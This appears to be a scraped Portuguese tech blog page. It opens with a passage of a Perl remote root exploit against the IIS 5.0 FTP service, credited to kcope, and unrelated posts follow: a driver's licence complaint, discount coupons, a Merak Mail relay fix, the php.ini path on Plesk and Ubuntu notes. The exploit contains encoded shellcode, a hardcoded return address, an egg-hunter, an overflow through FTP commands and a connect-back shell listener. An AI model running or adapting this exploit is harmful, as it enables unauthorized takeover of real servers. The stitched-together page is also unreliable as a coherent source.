"\x47\x50\x46\x4f\x51\x51\x50\x44\x47\x34\x51\x30\x46\x46" .
"\x51\x36\x51\x30\x42\x4e\x42\x45\x44\x34\x51\x30\x42\x4c" .
"\x42\x4f\x43\x53\x45\x31\x42\x4c\x42\x47\x43\x42\x42\x4f" .
"\x43\x45\x42\x50\x47\x50\x47\x31\x42\x44\x42\x4d\x45\x39" .
"\x42\x4e\x42\x49\x42\x53\x43\x44\x43\x42\x45\x31\x44\x34" .
"\x42\x4f\x43\x42\x43\x43\x47\x50\x42\x57\x45\x39\x42\x4e" .
"\x42\x4f\x42\x57\x42\x4e\x47\x50\x46\x4f\x47\x31\x51\x54" .
"\x51\x54\x43\x30\x41\x41";
#1ca
print "IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\n";
if ($#ARGV ne 1) {
print "usage: iiz5.pl \n";
exit(0);
}
srand(time());
$port = int(rand(31337-1022)) + 1025;
$locip = $ARGV[1];
$locip =~ s/\./,/gi;
if (fork()) {
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '21',
Proto => 'tcp');
$patch = "\x7E\xF1\xFA\x7F";
#$retaddr = "ZZZZ";
$retaddr = "\x9B\xB1\xF4\x77"; # JMP ESP univ on 2 win2k platforms
$v = "KSEXY" . $sc . "V" x (500-length($sc)-5);
# top address of stack frame where shellcode resides, is hardcoded inside this block
$findsc="\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38\x53"
."\x45\x58\x59\x75\xF7\x40\x40\x40\x40\xFF\xFF\xE0";
# attack buffer
$c = $findsc . "C" . ($patch x (76/4)) . $patch.$patch.
($patch x (52/4)) .$patch."EEEE$retaddr".$patch.
"HHHHIIII".
$patch."JKKK"."\xE9\x63\xFE\xFF\xFF\xFF\xFF"."NNNN";
$x = <$sock>;
print $x;
print $sock "USER anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "PASS anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "MKD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack)
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "CWD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "MKD CCC". "$c\r\n";
$x = <$sock>;
print $x;
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n";
$x = <$sock>;
print $x;
# TRIGGER
print $sock "NLST $c*/../C*/\r\n";
$x = <$sock>;
print $x;
while (1) {}
} else {
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => 'tcp', Listen => 1);
die "Could not create socket: $!\n" unless $servsock;
my $new_sock = $servsock->accept();
while(<$new_sock>) {
print $_;
}
close($servsock);
}
#Cheerio,
#
#Kingcope

Detran e a minha frustração problemas com a observação na CNH

Monday, February 1st, 2010

Boa noite ALL,
Depois de muito tempo se passando decidi que precisava criar vergonha na cara e tirar minha habilitação, sim, isto mesmo, um cara de 25 anos sem CNH não é nada mais nada menos que um desapercebido.

Vou “desabafar” aqui a mágoa que guardei por estes dias, assim como descrever o grau de dificuldade alcançado para que hoje eu estivesse com minha CNH nas mãos (nem sonhe em dirigir em Minas Gerais sem habilitação!).

Primeiro quero deixar claro que a habilitação de Minas Gerais (Belo Horizonte em específico) é considerada a mais poderosa/difícil do mundo. Isto dá-se pelas inúmeras/minimalistas cobranças que podem levar o candidato ao limbo.

Após passar por exame médico e ao longo do curso de legislação passar com uma média de 27 pontos, até ali não achei nenhuma dificuldade em adquirir minha CNH.

Mas o problema veio depois, pois concluir a legislação é barato e rápido, nó cego é pós legislação.

De cara gastei R$ 50,00 somente para ter a licença de dirigir, em seguida, R$ 540,00 de aula prática (isto dá-se por se tratar de regra de aprendizado)… (Pacote de 10 aulas custa R$ 270,00).
Fim das contas, depois de muito sofrer, este sábado (dia 30/01/2010) acabei sendo aprovado (tanto pelas mãos de Deus quanto pelas mãos dos homens), mas para minha surpresa maior não pude deixar de entender o real significado da palavra “difícil” na habilitação mineira.

Ao receber a assinatura de “Aprovado” observei que atrás da minha licença para dirigir existe um campo chamado “Observações”, e para minha infelicidade constava mais ou menos isso aqui:

“Portador de Deficiência Auditiva”.

Isto muito me causou problemas, principalmente na questão de provas por que o examinador (no teste de “rua”) perguntou com alta voz se eu era portador de deficiência auditiva  e eu disse que não (sem contar que o exame todo ele passou gritando comigo).

Hoje precisei ir ao Detran de Belo Horizonte (João Pinheiros) corrigir o “favor que eles me fizeram”, vejam minha aparência no momento em que estava resolvendo o problema logo abaixo:

ISTO MESMO, enfrentar fila de 1 h de espera, e ainda receber a informação de “Ah, o senhor deverá voltar a clínica a qual foi examinado e solicitar o T-Drive”.

2 coisas interessantes:

1 – o erro foi deles, por que eu quem paguei o pato?

2 – por que deram um nome bonitinho de “t-drive” ao printscreen do desktop de onde o sistema clínico roda (aquele que armazena os dados do cidadão que fez o exame médico antes de se candidatar ao “estupro” governamental).

Caso você esteja tirando sua CNH e não sabe o por que do erro em observações, não se preocupe, vá a clínica e faça a mesma constatação que eu: “O Detran errou de novo com o cidadão que paga impostos corretamente!”.

Caso você esteja na mesma situação que eu, não se preocupe, antes mesmo de ir no Detran vá na clínica aonde foi examinado e peça o T-Drive (printscreen assinado pelo doutor local – da clínica).

Se você está com receio de tentar tirar sua CNH por que “acha que não é o tempo”, sugiro que se apresse, principalmente pelo fato do governo estar aplicando mais taxas em cima disto.

Sabe quanto ficou minha CNH? (tipo B)

R$ 1.520,00. (hum mil quinhentos e vinte reais)

E a tendência é piorar!

Corra ou você será mais um palhaço no meio da cidade!

Cupons de Desconto de Fevereiro

Monday, February 1st, 2010

Boa noite ALL,

Sempre que possível estou postando alguns cupons de desconto aqui no blog, e desta vez estou deixando cupons para o mês de fevereiro.

Vale a pena conferir em:

http://www.nerdblog.info/codigos-de-descontos-promocodes-2010-fevereiro-submarino-lojas-americanas-e-etc/

Error 5.7.1 no Merak Mail Server – erro ao tentar enviar uma mensagem (try send message)

Thursday, January 28th, 2010

Bem, o erro 5.7.1 pode significar uma chuva de coisas, mas com uma simples ajuda, ou melhor, com uma simples dica este erro pode parar.

Isto normalmente ocorre por causa do RELAY que está em off (por padrão) após instalado.

O Ajax destes mailserver (o webmail em ajax) é muito bonito (mesmo). (parece que os caras são fanáticos por ext-js)

Ok, acesse o Merak (no gestor administrativo dele) e procure pelo Menu SECURITY, neste menu, procure pelo item Allow RELAY.

Isto deve resolver, caso não resolva procure por DENY SMTP EHLO, se estiver marcado, desmarque.

Caso não resolva, em última instância desabilite o suporte por SSL/TLS.

Bugs estão por toda parte e isto faz parte do panelão.

Abraços.

Localização do PHP.INI em um servidor IIS com painel de controle parallels plesk windows

Thursday, January 28th, 2010

Opa galera, mantendo o rítimo de posts em alta, vamos lá.

Hoje me surgiu uma dúvida simples:

Aonde fica localizado o danado do php.ini em um windows server com painel de controle plesk?

Simples :P

C:\Program Files\Parallels\Plesk\Additional\PleskPHP5\php.ini

Gestor de smart trabalha de maneira eficiente no Ubnutu Karmic e revela problemas antes que ocorram

Saturday, January 23rd, 2010

Uma das coisas que mais gosto no Ubuntu é a sua facilidade de uso e principalmente a forma eficaz que ele gerencia o sistema em si. Estive com um notebook “aposentado” por 4 meses devido a falta do drive de cd-rom (na realidade já não lê nada… rsrsrs). Esperei um bom tempo afim de que uma manutenção fosse realizada (substituição, na realidade era isso) e não consegui achar o bendito drive com preço acessível.

Pensei comigo o que iria fazer, quer fosse um servidor PXE para instalar alguma coisa, quer fosse pegar um drive emprestado (gaveta externa de cd-rom ou cd-rom externo), e nada disso me veio a cabeça.

Pensei em algo mais simples e cheguei a conclusão que instalar o Ubuntu via USB seria a coisa mais simples e amigável do mundo (foi, sem contar a altíssima velocidade, em ver um Celeron 1.5 com 1gb de ram instalado em 12 minutos é de surpreender qualquer peixão).

Após instalar meu bombástico S.O. acabei percebendo que a “aposentadoria” não fez muito bem para o Tux, o smart relatou problemas (coisa que NUNCA iria imaginar, principalmente homem que só vai ao médico quando já está morrendo com dores).

Ao terminar meu upgrade de versão para o Karmic Koala eu startei o S.O. com euforia e ao me deparar com o desktop recebi a notícia de que o disco não estava indo muito bem, por fim, compreendi que apesar da notícia ruim, meu Ubuntu foi mais que um amigo em me avisar o que poderia ocorrer “na calada da noite”!

Segue screenshot:

Este é um sistema amigo, rsrsrs, avisa tudo (mesmo que possa causar uma dorzinha no coração).

Abraços galera!

Upgrade muito rápida no Ubuntu indo em busca do Karmic :D

Saturday, January 23rd, 2010

Bom, muitas pessoas já sabem que sou um adimirador do Ubuntu, principalmente pela sua facilidade de uso (estou postando por ele). Uma coisa muito interessante foi a velocidade que consegui com minha internet no momento de acessar os repositórios da Cannonical (não foi usando apt-get via console, mas a gestão de pacotes foi muito semelhante). Perceba na foto abaixo que meus 4 mega de link funcionaram com muito louvor:

up ubuntu

up ubuntu

Na menos que 458kbps! (chegando a 478kbps).

Obs: Estava na 8.04 e fui subindo, agora estou na Karmic e meu próximo post vai falar um pouco sobre a simplicidade do desktop e praticidade do “negócio”.

Abraços galera!